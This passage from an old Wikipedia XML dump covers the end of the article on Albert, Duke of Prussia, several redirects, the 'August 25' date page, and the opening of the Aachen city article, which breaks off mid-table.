The new Grand Master, aware of his duties to the empire and to the papacy, refused to submit to the crown of Poland and as war to retain independence appeared inevitable, he made strenuous efforts to secure allies, and carried on protracted negotiations with Emperor Maximilian I. 

The ill-feeling, influenced by the ravages of members of the Order in Poland, culminated in a struggle which began in [[December]] [[1519]]. During the ensuing year Prussia was devastated, and Albert was granted a four-year truce early in [[1521]]. 

The dispute was referred to the Emperor [[Charles V, Holy Roman Emperor|Charles V]] and other princes, but as no settlement was reached he continued his efforts to obtain help in view of a renewal of the war. For this purpose he visited the [[Diet of Nuremberg]] in [[1522]], where he made the acquaintance of the [[Protestant reformation|reformer]], [[Andreas Osiander]], by whose influence he was won over to the new faith. 

He then journeyed to [[Wittenberg]], where he was advised by [[Martin Luther (religious leader)|Martin Luther]] to abandon the rules of his Order, to marry, and to convert Prussia into a hereditary duchy for himself. This proposal, which was understandably appealing to Albert, had already been discussed by some of his relatives, but it was necessary to proceed cautiously, and he assured [[Pope Adrian VI]] that he was anxious to reform the Order and punish the knights who had adopted [[Lutheranism|Lutheran]] doctrines. Luther for his part did not stop at the suggestion, but in order to facilitate the change made special efforts to spread his teaching among the Prussians, while Albert's brother, [[Georg Margrave of Brandenburg-Ansbach|Georg]], Prince of Ansbach, laid the scheme before their uncle [[Sigismund I of Poland|Sigismund of Poland]]. After some delay the king assented to it, with the proviso that [[Ducal Prussia|Prussia]] should be treated as a Polish fiefdom, and after this arrangement had been confirmed by a treaty concluded at [[Kraków]], Albert pledged a personal oath to Sigismund I and was invested with the duchy for himself and his heirs on February 10, 1525. 
[[Image:Prussian Homage.JPG|400px|left|thumb|&quot;[[Prussian Tribute|The Prussian Tribute]]&quot;, oil on canvas by [[Jan Matejko]], 1882, 388 x 875 cm, National Museum in [[Kraków]]. [[Albrecht Hohenzollern]] and his brothers receive the [[Duchy of Prussia]] as a [[fiefdom]] from the Polish King, [[Sigismundus I the Elder]] in [[1525]].]] 

The [[Estates of the realm | Estates]] of the land then met at [[Kaliningrad|Königsberg]] and took the oath of allegiance to the new duke, who used his full powers to promote the doctrines of Luther. This transition did not, however, take place without protest. Summoned before the imperial court of justice, Albert refused to appear and was proscribed, while the Order, having deposed the Grand Master, made a feeble effort to recover Prussia.  But as the German princes were experiencing the tumult of the Reformation, the peasants' revolt, and the wars against the conquering Turks, they did not attack the duke, and agitation against him soon died away. 

In imperial politics Albert was fairly active. Joining the [[League of Torgau]] in [[1526]], he acted in unison with the Protestants, and was among the princes who banded together to overthrow Charles V after the issue of the [[Augsburg Interim]] in May [[1548]]. For various reasons, however, poverty and personal inclination among others, he did not take a prominent part in the military operations of this period. 

The early years of Albert's rule in Prussia were fairly prosperous. Although he had some trouble with the peasantry, the lands and treasures of the church enabled him to propitiate the nobles and for a time to provide for the expenses of the court. 

He did something for the furtherance of learning by establishing schools in every town and by freeing serfs who adopted a scholastic life. In 1544, in spite of some opposition, he founded the [[Königsberg University|university at Königsberg]], where he appointed his friend [[Osiander]] to a professorship in [[1549]]. Albert also paid for the  printing of the Astronomical Tables (&quot;Prutenische Tafeln&quot;) compiled by [[Erasmus Reinhold]].

This step was the beginning of the troubles which clouded the closing years of Albert's reign. Osiander's divergence from Luther's doctrine of justification by faith involved him in a violent quarrel with [[Melanchthon]], who had adherents in Königsberg, and these theological disputes soon created an uproar in the town. The duke strenuously supported Osiander, and the area of the quarrel soon broadened. There were no longer church lands available with which to conciliate the nobles, the burden of taxation was heavy, and Albert's rule became unpopular. 

After Osiander's death in [[1552]] he favoured a preacher named [[Johann Funck]], who, with an adventurer named [[Paul Skalic | Paul Scalich]], exercised great influence over him and obtained considerable wealth at public expense. The state of turmoil caused by these religious and political disputes was increased by the possibility of Albert's early death and the need, should that happen, to appoint a [[regent]], as his only son, [[Albert Frederick]] was still a mere youth. The duke was consequently obliged to consent to a condemnation of the teaching of Osiander, and the climax came in 1566 when the [[Estates of the realm | Estates]] appealed to [[Sigismund II]], Albert's cousin, son of Sigismund I and Elisabeth Habsburg, Grand Duke of Lithuania and King of Poland, who sent a commission to Königsberg. Scalich saved his life by flight, but Funck was executed. The question of the regency was settled, and a form of Lutheranism was adopted, and declared binding on all teachers and preachers. 

Virtually deprived of power, the Duke lived for two more years, and died at [[Tapiau]] on [[March 20]], [[1568]]. He had married Dorothea, daughter of [[Frederick I of Denmark|Frederick]], King of [[Denmark]] in [[1526]], and following her death in [[1547]], married Anna Maria, daughter of [[Eric I of Brunswick|Eric I]], Duke of [[Brunswick-Lüneburg]]. 

Albert was a voluminous letterwriter, and corresponded with many of the leading personages of the time. 

For switching to Protestantism Albrecht had been excommunicated by the Pope. The [[Habsburg]] rulers of the [[Holy Roman Empire]] continued to claim the office of Grand Master of the [[Teutonic Knights]] as administrators of Prussia.

In [[1891]] a statue was erected to his memory at [[Kaliningrad|Königsberg]]. 


==References==
*{{1911}}

== External links ==
*[[William Urban]] on the situation in Prussia [http://66.102.7.104/search?q=cache:lqag5cL8YAAJ:department.monm.edu/history/urban/articles/State_of_the_grandmasters.htm+Casimir+IV+deutscher+orden&amp;hl=en]

{{start box}}
{{succession box|
 before=[[Friedrich of Saxony (1473-1510)|Friedrich of Saxony]]|
 years=[[1510]]-[[1525]]|
 after=[[Walter von Cronberg]]|
 title=[[Teutonic Knights#Grand Masters (Hochmeister) of the Teutonic Order, 1198-present|Grand Master]] of the [[Teutonic Knights|Teutonic Order]]|
}}
{{end box}}

[[Category:German nobility]]
[[Category:1490 births]]
[[Category:1568 deaths]]
[[Category:House of Hohenzollern]]

[[cs:Albrecht Braniborský]]
[[de:Albrecht von Brandenburg-Preußen]]
[[fr:Albert de Brandebourg]]
[[no:Albrecht av Preussen]]
[[pl:Albrecht Hohenzollern]]
[[ru:Гогенцоллерн, Альбрехт]]
[[sv:Albrekt av Preussen]]</text>
    </revision>
  </page>
  <page>
    <title>Albert III, Elector of Saxony</title>
    <id>1515</id>
    <revision>
      <id>15899985</id>
      <timestamp>2004-05-26T18:35:51Z</timestamp>
      <contributor>
        <username>Rossami</username>
        <id>9709</id>
      </contributor>
      <comment>redirecting to [[Albert, Duke of Saxony]]</comment>
      <text xml:space="preserve">#redirect [[Albert, Duke of Saxony]]</text>
    </revision>
  </page>
  <page>
    <title>Albert the Degenerate</title>
    <id>1516</id>
    <revision>
      <id>31464240</id>
      <timestamp>2005-12-15T13:26:20Z</timestamp>
      <contributor>
        <username>Petaholmes</username>
        <id>59986</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Albrecht II, Markgraf of Meißen]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Of Aix</title>
    <id>1517</id>
    <revision>
      <id>15899987</id>
      <timestamp>2002-12-14T11:31:41Z</timestamp>
      <contributor>
        <ip>62.30.112.2</ip>
      </contributor>
      <comment>Merge these pages.</comment>
      <text xml:space="preserve">#REDIRECT [[Albert of Aix]]</text>
    </revision>
  </page>
  <page>
    <title>August 25</title>
    <id>1519</id>
    <revision>
      <id>41923390</id>
      <timestamp>2006-03-02T17:23:48Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>removed non noteable entry</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=25}}
|}
'''August 25''' is the 237th day of the year in the [[Gregorian Calendar]] (238th in leap years), with 128 days remaining.

==Events==
*[[1537]] - The [[Honourable Artillery Company]], the oldest surviving [[regiment]] in the [[British Army]], and the second most senior, is formed.
*[[1580]] - [[Battle of Alcantara]].  [[Spain]] defeats [[Portugal]].
*[[1609]] - [[Galileo Galilei]] demonstrates his first telescope to Venetian lawmakers.
*[[1718]] - [[New Orleans, Louisiana]] is founded.
*[[1758]] - [[Seven Years War]]: [[Frederick II of Prussia]] defeats the [[Russia]]n army at the [[Battle of Zorndorf]].
*[[1768]] - [[James Cook]] begins his first voyage.
*[[1814]] - [[Washington D.C]] and [[White House]] is destroyed by [[British]] forces during the [[War of 1812]]
*[[1825]] - [[Uruguay]] declares its independence from [[Spain]].
*[[1830]] - [[Belgium]] revolts from the [[Netherlands]]
*[[1835]] - The ''[[New York Sun (historical)|New York Sun]]'' perpetrates the [[Great Moon Hoax]].
*[[1875]] - [[Matthew Webb]] becomes the first person to swim the [[English Channel]].
*[[1894]] - [[Shibasaburo Kitasato]] discovers the infectious agent of the [[Bubonic plague|bubonic plague]] and publishes his findings in ''[[The Lancet]]''.
*[[1910]] - [[Yellow Cab]] is founded.
*[[1912]] - The [[Kuomintang]], the Chinese nationalist party, is founded.
*[[1916]] - The [[United States National Park Service]] is created.
*[[1920]] - [[Polish-Soviet War]]: [[Battle of Warsaw (1920)|Battle of Warsaw]], started on [[August 13]], now ends. The [[Red Army]] is defeated.
*[[1942]] - [[World War II]]: [[Battle of Milne Bay]], [[Papua New Guinea]]
*[[1944]] - World War II: [[Liberation of Paris|Paris is liberated]] by the [[Allies of World War II|Allies]].
*[[1946]] - [[Ben Hogan]] wins the [[PGA Championship]].
*[[1950]] - President [[Harry Truman]] orders the US Army to seize control of the nation's railroads to avert a strike.
*[[1960]] - [[1960 Summer Olympics|Games of the XVII Olympiad]] open in [[Rome]].
*[[1967]] - [[American Nazi Party]] leader [[George Lincoln Rockwell]] is [[assassinated]] in [[Arlington, Virginia]].
*[[1975]] - [[Bruce Springsteen]] releases ''[[Born to Run]]'', the album that would launch him to superstardom.
*[[1980]] - [[Microsoft]] announces their version of [[Unix|UNIX]], [[Xenix]].
*1980 - The Broadway musical [[42nd Street (musical)|''42nd Street'']] opens; the show's director, [[Gower Champion]], had died earlier that day.
*[[1988]] - The historical center of [[Lisbon]] is destroyed by a fire.
*[[1989]] - [[Tadeusz Mazowiecki]] chosen as the first non-communist Prime Minister in [[Central Europe|Central]] and [[Eastern Europe]].
*1989 - [[Voyager 2]] spacecraft flies by [[Neptune (planet)|Neptune]], the last major planet it could visit before leaving the [[Solar System]].
*1989 - Mayumi Moriyama becomes [[Japan|Japan's]] first female cabinet secretary.
*[[1991]] - [[Linus Torvalds]] first says in a post to the comp.os.minix [[newsgroup]] that he is working on a new free [[computer]] [[operating system]].
*1991 - [[Belarus]] declares independence from the [[Soviet Union]]
* [[1997]] - [[Sluggy Freelance]], one of the oldest and well known [[webcomics]] is made.
*[[2003]] - The [[Tli Cho]] land claims agreement is signed between the [[Dogrib]] [[First Nations]] and the [[Canada|Canadian]] federal government in [[Rae-Edzo, Northwest Territories]].
*2003 - Fifty-two are killed in two [[Islamic]] terrorist bomb blasts in [[Mumbai]], [[India]].
*[[2005]] - Tom Boonen wins the World Championship cycling in Madrid, Spain.
*2005 - [[Hurricane]] [[Hurricane Katrina|Katrina]] makes landfall on the Miami-Dade/Broward county line, hours after reaching hurricane strength.

==Births==
*[[1530]] - Tsar [[Ivan IV of Russia]] (d. [[1584]])
*[[1561]] - [[Philippe van Lansberge]], Dutch astronomer (d. [[1632]])
*[[1624]] - [[François de la Chaise]], French confessor of [[Louis XIV of France]] (d. [[1709]])
*[[1635]] - Sir [[Henry Morgan]], Welsh privateer (d. [[1688]])
*[[1662]] - [[John Leverett the Younger]], American President of Harvard (d. [[1724]])
*[[1719]] - [[Charles-Amédée-Philippe van Loo]], French painter (d. [[1795]])
*[[1724]] - [[George Stubbs]], British painter (d. [[1806]])
*[[1744]] - [[Johann Gottfried Herder]], German writer (d. [[1803]])
*[[1767]] - [[Antoine Louis Léon de Richebourg de Saint-Just]], French revolutionary and writer (d. [[1794]])
*[[1772]] - King [[William I of the Netherlands]] (d. [[1843]])
*[[1786]] - King [[Ludwig I of Bavaria]] (d. [[1868]])
*[[1796]] - [[James Lick]], California land baron (d. [[1876]])
*[[1802]] - [[Nikolaus Lenau]], Austrian poet (d. [[1850]])
*[[1819]] - [[Allan Pinkerton]], American private detective (d. [[1884]])
*[[1836]] - [[Bret Harte]], American writer (d. [[1902]])
*[[1841]] - [[Emil Theodor Kocher|Emil Kocher]], Swiss medical researcher, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1917]])
*[[1845]] - King [[Ludwig II of Bavaria]] (d. [[1886]])
*[[1850]] - [[Charles Richet]], French scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1935]])
*[[1882]] - [[Sean T. O'Kelly|Sean O'Kelly]], [[President of Ireland]] (d. [[1966]])
*[[1898]] - [[Helmut Hasse]], German mathematican (d. [[1975]])
*[[1900]] - Sir [[Hans Adolf Krebs]], German physician and biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1981]])
*[[1902]] - [[Stefan Wolpe]], German-born composer (d. [[1972]])
*[[1903]] - [[Árpád Élő]], Hungarian physicist (d. [[1992]])
*[[1909]] - [[Ruby Keeler]], Canadian singer and actress (d. [[1993]])
*  1909   - [[Michael Rennie]], English actor (d. [[1971]])
*[[1912]] - [[Erich Honecker]], head of state of East Germany (d. [[1994]])
*[[1913]] - [[Walt Kelly]], American cartoonist (d. [[1973]])
*[[1916]] - [[Van Johnson]], American actor
*1916 - [[Frederick Chapman Robbins]], American pediatrician and virologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[2003]])
*[[1917]] - [[Mel Ferrer]], American actor
*[[1918]] - [[Leonard Bernstein]], American conductor and composer (d. [[1990]])
*  1918   - [[Richard Greene]], English actor (d. [[1985]])
*[[1919]] - [[George Wallace]], Governor of Alabama (d. [[1998]])
*[[1921]] - [[Monty Hall]], Canadian-born game show host
*1921 - [[Brian Moore (novelist)|Brian Moore]], Northern Irish-born writer (d. [[1999]])
*[[1927]] - [[Althea Gibson]], American tennis player (d. [[2003]])
*[[1928]] - [[Herbert Kroemer]], German-born physicist, [[Nobel Prize]] laureate
*[[1930]] - Sir [[Sean Connery]], Scottish actor
*[[1931]] - [[Regis Philbin]], American television host
*  1933   - [[Wayne Shorter]], American musician
*  1933   - [[Tom Skerritt]], American actor
*[[1935]] - [[Charles Wright (poet)|Charles Wright]], American poet
*[[1938]] - [[David Canary]], American actor
*  1938   - [[Frederick Forsyth]], English author
*[[1939]] - [[John Badham]], American film director
*[[1940]] - [[José Van Dam]], Belgian baritone
*[[1944]] - [[Anthony Heald]], American actor
*[[1946]] - [[Rollie Fingers]], baseball player
*[[1947]] - [[Anne Archer]], American actress
*[[1949]] - [[Martin Amis]], English novelist
*  1949   - [[John Savage (actor)|John Savage]], American actor
*  1949   - [[Gene Simmons]], Israeli-born bassist
*[[1951]] - [[Rob Halford]], English singer ([[Judas Priest]])
*[[1952]] - [[Peter Wolf]], American singer and composer
*[[1954]] - [[Elvis Costello]], English musician
*[[1958]] - [[Tim Burton]], American film director, producer, and screenwriter
*[[1961]] - [[Billy Ray Cyrus]], American singer
*[[1962]] - [[David Packer]], American actor
*[[1964]] - [[Maxim Kontsevich]], Russian mathematician
*  1964   - [[Blair Underwood]], American actor
*[[1968]] - [[Rafet El Roman]], Turkish singer and composer
*  1968   - [[Stuart Murdoch (musician)|Stuart Murdoch]], Scottish musician ([[Belle &amp; Sebastian]])
*  1968   - [[Rachael Ray]], American cook and television host
*[[1969]] - [[Cameron Mathison]], Canadian actor
*[[1970]] - [[Claudia Schiffer]], German model
*[[1972]] - [[Marvin Harrison]], American football player 
*[[1976]] - [[Alexander Skarsgård]], Swedish actor
*[[1978]] - [[Franck Queudrue]], French footballer
*[[1981]] - [[Rachel Bilson]], American actress
*[[1987]] - [[Stacey Farber]], Canadian actress

==Deaths==
*[[383]]  - [[Gratian]], [[Roman Emperor]] (b. [[359]])
*[[1192]] - [[Hugh III, Duke of Burgundy]] (b. [[1142]])
*[[1270]] - King [[Louis IX of France]]
*[[1282]] - [[Thomas Cantilupe]], English saint
*[[1330]] - [[James Douglas (the Black)|James Douglas]], Scottish soldier (b. [[1286]])
*[[1482]] - [[Margaret of Anjou]], queen of [[Henry VI of England]] (b. [[1429]])
*[[1554]] - [[Thomas Howard, 3rd Duke of Norfolk]], English politician (b. [[1473]])
*[[1632]] - [[Thomas Dekker]], English dramatist
*[[1650]] - [[Richard Crashaw]], English poet
*[[1688]] - [[Henry Morgan]], Welsh privateer
*[[1699]] - King [[Christian V of Denmark]] (b. [[1646]])
*[[1711]] - [[Edward Villiers, 1st Earl of Jersey]], English politician
*[[1742]] - [[Carlos Seixas]], Portuguese composer (b. [[1704]])
*[[1774]] - [[Niccolò Jommelli]], Italian composer (b. [[1714]])
*[[1776]] - [[David Hume]], Scottish philosopher and historian (b. [[1711]])
*[[1792]] - [[Jacques Cazotte]], French writer (b. [[1719]])
*[[1822]] - [[William Herschel]], German-born astronomer (b. [[1738]])
*[[1867]] - [[Michael Faraday]], English scientist (b. [[1791]])
*[[1900]] - [[Friedrich Nietzsche]], German philosopher (b. [[1844]])
*[[1900]] - [[Kuroda Kiyotaka]], [[Prime Minister of Japan]] (b. [[1840]])
*[[1904]] - [[Henri Fantin-Latour]], French painter (b. [[1836]])
*[[1908]] - [[Henri Becquerel]], French physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1852]])
*[[1925]] - [[Franz Conrad von Hötzendorf]], Austro-Hungarian field marshal (b. [[1852]])
*[[1938]] - [[Aleksandr Kuprin]], Russian writer (b. [[1870]])
*[[1942]] - [[George Edward Alexander Windsor]], Duke of Kent (b. [[1902]])
*[[1945]] - [[John Birch (missionary)|John Birch]], American intelligence officer and missionary (b. [[1918]])
*[[1967]] - [[Stanley Bruce]], eighth [[Prime Minister of Australia]] (b. [[1883]])
*[[1967]]   - [[Paul Muni]], Polish actor (b. [[1895]])
*[[1967]]   - [[George Lincoln Rockwell]], American Nazi Party leader (b. [[1918]])
*[[1971]] - [[Ted Lewis (musician)|Ted Lewis]], American musician and entertainer (b. [[1890]])
*[[1976]] - [[Eyvind Johnson]], Swedish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1900]])
*[[1979]] - [[Stan Kenton]], American musician and bandleader (b. [[1911]])
*[[1980]] - [[Gower Champion]], American dancer, actor, and choreographer (b. [[1919]])
*[[1984]] - [[Truman Capote]], American author (b. [[1924]])
*[[1984]]   - [[Waite Hoyt]], baseball player (b. [[1899]])
*[[1985]] - [[Samantha Smith]], American social activist and actress (plane crash) (b. [[1972]])
*[[1990]] - [[Morley Callaghan]], Canadian writer (b. [[1903]])
*[[2000]] - [[Carl Barks]], American cartoonist (b. [[1901]])
*[[2001]] - [[Aaliyah]], American singer (plane crash) (b. [[1979]])
*[[2002]] - [[Dorothy Hewett]], Australian writer (b. [[1923]])
*[[2005]] - [[Peter Glotz]], German social democrat (b. [[1939]])

==Holidays and observances==
*[[Roman festivals]] - [[Opiconsivia]] held in honor of [[Ops]].
*[[Calendar of Saints|RC Saints]] - [[Genesius of Arles]], Saint [[Louis IX of France]], [[Saint Joseph Calasanz]]
*[[Uruguay]] - National Day (independence from Brazil in [[1825]]).
*[[Philippines]] - National Heroes' Day.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/25 BBC: On This Day]
* [http://www.britannica.com/eb/dailycontent?month=8&amp;day=25 Encyclopædia Britannica: This Day in History]

----

[[August 24]] - [[August 26]] - [[July 25]] - [[September 25]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:25 Augustus]]
[[ar:25 أغسطس]]
[[an:25 d'agosto]]
[[ast:25 d'agostu]]
[[bg:25 август]]
[[be:25 жніўня]]
[[bs:25. august]]
[[ca:25 d'agost]]
[[ceb:Agosto 25]]
[[cv:Çурла, 25]]
[[co:25 d'aostu]]
[[cs:25. srpen]]
[[cy:25 Awst]]
[[da:25. august]]
[[de:25. August]]
[[et:25. august]]
[[el:25 Αυγούστου]]
[[es:25 de agosto]]
[[eo:25-a de aŭgusto]]
[[eu:Abuztuaren 25]]
[[fo:25. august]]
[[fr:25 août]]
[[fy:25 augustus]]
[[ga:25 Lúnasa]]
[[gl:25 de agosto]]
[[ko:8월 25일]]
[[hr:25. kolovoza]]
[[io:25 di agosto]]
[[id:25 Agustus]]
[[ia:25 de augusto]]
[[ie:25 august]]
[[is:25. ágúst]]
[[it:25 agosto]]
[[he:25 באוגוסט]]
[[jv:25 Agustus]]
[[ka:25 აგვისტო]]
[[csb:25 zélnika]]
[[ku:25'ê gelawêjê]]
[[lt:Rugpjūčio 25]]
[[lb:25. August]]
[[hu:Augusztus 25]]
[[mk:25 август]]
[[ms:25 Ogos]]
[[nap:25 'e aùsto]]
[[nl:25 augustus]]
[[ja:8月25日]]
[[no:25. august]]
[[nn:25. august]]
[[oc:25 d'agost]]
[[pl:25 sierpnia]]
[[pt:25 de Agosto]]
[[ro:25 august]]
[[ru:25 августа]]
[[sco:25 August]]
[[sq:25 Gusht]]
[[scn:25 di austu]]
[[simple:August 25]]
[[sk:25. august]]
[[sl:25. avgust]]
[[sr:25. август]]
[[fi:25. elokuuta]]
[[sv:25 augusti]]
[[tl:Agosto 25]]
[[tt:25. August]]
[[te:ఆగష్టు 25]]
[[th:25 สิงหาคม]]
[[vi:25 tháng 8]]
[[tr:25 Ağustos]]
[[uk:25 серпня]]
[[wa:25 d' awousse]]
[[war:Agosto 25]]
[[zh:8月25日]]
[[pam:Agostu 25]]</text>
    </revision>
  </page>
  <page>
    <title>Aachen</title>
    <id>1520</id>
    <revision>
      <id>41662841</id>
      <timestamp>2006-02-28T22:35:33Z</timestamp>
      <contributor>
        <ip>195.93.21.134</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox Town DE|
name = Aachen|
name_local =  |
image_coa =  Stadtwappen_der_kreisfreien_Stadt_Aachen.png|
image_map =  Aachen in Germany.png|
state = [[North Rhine-Westphalia]] |
regbzk = [[Cologne (region)|Cologne]]|
district = [[List of German urban districts|urban district]]|
population = 257,089 |
population_as_of = 2005|
population_ref = [http://www.lds.nrw.de/statistik/datenangebot/amtlichebevoelkerungszahlen/rp3_juni05.html source]|
pop_dens = 1,599|
area = 160.83|
elevation = 125-410|
lat_deg = 50| 
lat_min = 46|
lat_hem = N|
lon_deg = 6|
lon_min = 6|
lon_hem = E|
postal_code = 52062-52080 |
area_code = 0241|
licence = AC|
mayor = Jürgen Linden ([[SPD]]) |
website = [http://www.aachen.de/ aachen.de]|
}}
'''Aachen''' ([[French language|French]] ''Aix-la-Chapelle'', [[Dutch language|Dutch]] ''Aken'', [[Latin]] ''Aquisgranum'', [[Ripuarian]] ''Oche'') is a spa city in [[North Rhine-Westphalia]], [[Germany]], on the border with [[Belgium]] and the [[Netherlands]], 65 km to the west of [[Cologne]], and the westernmost city in Germany.

[[RWTH Aachen]], established in 1870, is one of the major Institutes of Technology, especially for electrical and mechanical engineering, computer sciences and physics. As a part of it, the [[Klinikum Aachen]] is the biggest single-building hospital in Europe. Over time, a host of software and computer industries have developed around the university.
[[Image:Aachen Cathedral from north.jpg|thumb|left|Aachen Cathedral]]
[[Image:Aachen-ElegantStreet.JPG|thumb|200px|Typical Aachen street with early [[20th century]] [[Gründerzeit]] houses]]

==History==
A quarry on the Lousberg, where flint was obtained in Neolithic times attests to the long occupation of the site of Aachen. 

The [[Roman empire|Romans]] named the [[hot spring|hot sulphur springs]] of Aachen ''Aquis-Granum''. For the origin of the ''Granus'' several theories were developed, but it is now widely accepted that it derives from a local Celtic god of healing water, not elsewhere attested. Many other Celtic [[toponym]]s are identifiable in the immediate locale. Since [[Roman empire|Roman]] times, the hot springs have been channeled into baths (which are still in use). ''âh-'' is an [[German language|Old German]] cognate with [[Latin]] ''aqua'', both meaning &quot;water&quot;. In French-speaking areas of the former [[Roman Empire|Empire]] the word ''aquas'' was turned into ''aix'', hence Aix-la-Chapelle or [[Aix-en-Provence]], an old Roman spa in [[Provence]], [[France]].
[[Image:Construction d Aix-la-Chapelle.jpg|thumb|left|Construction of Aix-la-Chapelle, by [[Jean Fouquet]]]]
After Roman times the place passed without comment but could not have been totally abandoned, for [[Einhard]] mentioned that in 765-66 [[Pippin the Younger|Pippin]] spent both Christmas and Easter at ''Aquis villa'' (''Et celebravit natalem Domini in Aquis villa et pascha similiter'') [http://www.noctes-gallicanae.org/Charlemagne/Annales/Pepin_le_Bref.htm], which must have been sufficiently equipped to support the royal household for several months. In the year of his coronation [[768]] [[Charlemagne]] came to spend Christmas at Aachen for the first time. He liked the place and twenty years later he began to build a palace. The sole surviving remnant of the palace, its magnificent chapel constructed in 796, later became [[Aachen Cathedral]]. Charlemagne spent most winters between [[800]] and his death in [[814]] in Aachen in order to enjoy the hot springs. Afterwards the king was buried in the chapel, where his tomb can still be found.

In [[936]] [[Otto I, Holy Roman Emperor|Otto I]] was crowned emperor in the cathedral. From then on the emperors of the [[Holy Roman Empire]] were crowned &quot;[[King of the Germans]]&quot; in Aachen, for the next 600 years. The last king to be crowned here was [[Ferdinand I, Holy Roman Emperor|Ferdinand I]] in 1531.
 
During the [[Middle Ages]] Aachen was one of the largest cities of the Empire. Aachen remained a free city within the [[Holy Roman Empire]]. In the [[Imperial Circle Estates]] of the [[Imperial Reform|Reichsreform]] (Imperial Reform) concluded at [[Worms, Germany|Worms]] in 1495, Aachen was represented in the Lower Rhenish-Westphalian circle. 

After the [[Thirty Years War]] Aachen only had regional importance. However, the city became the site of several important congresses and peace treaties: the [[Congress of Aix-la-Chapelle (1668)|first congress of Aachen]] (often referred to as ''congress of Aix-la-Chapelle'' in English) in 1668, leading to the [[Treaty of Aix-la-Chapelle (1668)|First Treaty of Aachen]] in the same year which ended the [[War of Devolution]]. The [[Congress of Aix-la-Chapelle (1748)|second congress]] ended with the [[Treaty of Aix-la-Chapelle (1748)|second treaty]] in 1748, finishing the [[War of the Austrian Succession]]. The [[Congress of Aix-la-Chapelle (1818)|third congress]] took place in 1818 to decide the fate of occupied France.

By 1880, the population was 80,000. Several important [[railway]]s met in Aachen. The city became a site for the manufacturing of railroad [[iron]], [[pin]]s, [[needle]]s, [[button]]s, [[tobacco]], [[wool]]en goods and [[silk]] goods. 

Badly damaged in [[World War II]], on [[October 21]] [[1944]] Aachen was the first German city to be overrun by [[Allies#World War II|Allied]] troops, the [[U.S. 1st Infantry Division]](aka the [[Big Red One]]).

While Charlemagne's palace does not exist anymore, the cathedral is still the main attraction of the city. After its construction it was the largest church north of the [[Alps]] for 400 years. The tombs of Charlemagne and [[Otto III, Holy Roman Emperor|Otto III]] can be found in the church. The cathedral of Aachen is listed in the [[UNESCO]] [[World Heritage Sites|World Heritage]].
[[Image:Aachen-SomeBoulevard.JPG|thumb|200px|Tree-lined boulevard in Aachen]]

==Miscellaneous==
Aachen is an industrial centre and a major railway junction, including the [[Thalys]] high-speed train network. A major industry of the past was needle production, which led to the distinctive mark of the people from Aachen, the ''Klenkes''. The small finger of the right hand is spread from the hand, which was originally the way women sorted the needles.

[[Robert Browning]]'s poem &quot;How they brought the good news from Ghent to Aix&quot; refers to Aachen, but not to any historical fact.

The annual CHIO (short for the French ''Concours Hippique International Officiel'') is the biggest [[equestrianism|equestrian]] meeting of Germany and among horsemen considered to be as prestigious for equitation as the tournament of [[The Championships, Wimbledon|Wimbledon]] for tennis. Aachen will also be host of the 2006 [[World Equestrian Games]].

[[Image:GermanyNetherlansBelgiumBORDER.jpg|thumb|200px|German-Netherland-Belgian border is easily seen from the west edge of town]]

The local football team [[Alemannia Aachen]] plays in Germany's second division. Their stadium is called [[Tivoli, Aachen|Tivoli]].

Since 1950 the city annually awards the [[Karlspreis]] (German for ''Charlemagne Award'') to persons who did extraordinary service for the unification of Europe. In 2003 the medal was awarded to [[Valéry Giscard d'Estaing]]. In 2004, [[Pope]] [[Pope John Paul II|John Paul II]]'s efforts to unite Europe were honored with an ''Extraordinary Charlemagne Medal'', which was awarded for the first time ever.

The local speciality of Aachen are cookies called ''Printen'', a local version of [[gingerbread]]. Unlike [[gingerbread]] (German:''[[Lebkuchen]]''), which is sweetened with honey, ''Printen'' are sweetened with sugar.

In 1372, Aachen became the first coin issuing city in the world to regularly place an [[Anno Domini]] date on a general circulation [[coin]], a [[groschen]]. It is written MCCCLXXII. None with this date are known to be in existence any longer. The earliest date for which an Aachen coin is still extant is dated 1373.

''See also'': [[Treaty of Aix-la-Chapelle]], [[Aachen (district)]], [[List of mayors of Aachen]], [[Aachener]]

==[[Town twinning]]==
Aachen has several partner cities:
* {{flagicon|France}} - [[Reims]] ([[France]]) since [[January 28]] [[1967]]
* {{flagicon|United Kingdom}} - [[Halifax, West Yorkshire|Halifax]]/[[Calderdale]] ([[United Kingdom]]) since [[November 14]] [[1979]]
* {{flagicon|Spain}} - [[Toledo, Spain|Toledo]] ([[Spain]]) since [[January 26]] [[1985]]
* {{flagicon|People's Republic of China}} - [[Ningbo|Ningbo (宁波)]] ([[China]]) since [[October 25]] [[1986]]
* {{flagicon|Germany}} - [[Naumburg]] ([[Saxony-Anhalt]], Germany) since [[May 30]] [[1988]]
* {{flagicon|USA}} - [[Arlington County]] ([[Virginia]]), [[United States|USA]]) since [[September 17]] [[1993]]
* {{flagicon|Russia}} - [[Kostroma]] ([[Russia]]) since [[June 9]] [[2005]]
The municipality Walheim had a partnership with the French [[Montebourg]] since 1960, which was continued by Aachen in 1972 when Walheim was incorporated into the town and became the borough Aachen-[[Kornelimünster]]/Walheim.

==Buildings and Constructions==
* [[Water Tower Belvedere]]
* [[Aachen Cathedral]]

==Name in different languages==
Aachen is known in different languages by different names (see also [[Names of European cities in different languages]]). The names derive from either German, French or Latin.

{| class=&quot;wikitable&quot;
! Language !! Name !! Pronunciation in [[International Phonetic Alphabet|IPA]]
|-
| [[German language|German]]
| Aachen
|{{IPA|[ˈaːxən]}}
|-
| [[Ripuarian]]||''Oche''|| {{IPA|[ˈoːxə]}}
|-
| [[Anglicisation|Anglicized]] version of the German|| Aachen || {{IPA|[ˈɑːkən]}}
|-
| [[French language|French]]|| Aix-la-Chapelle
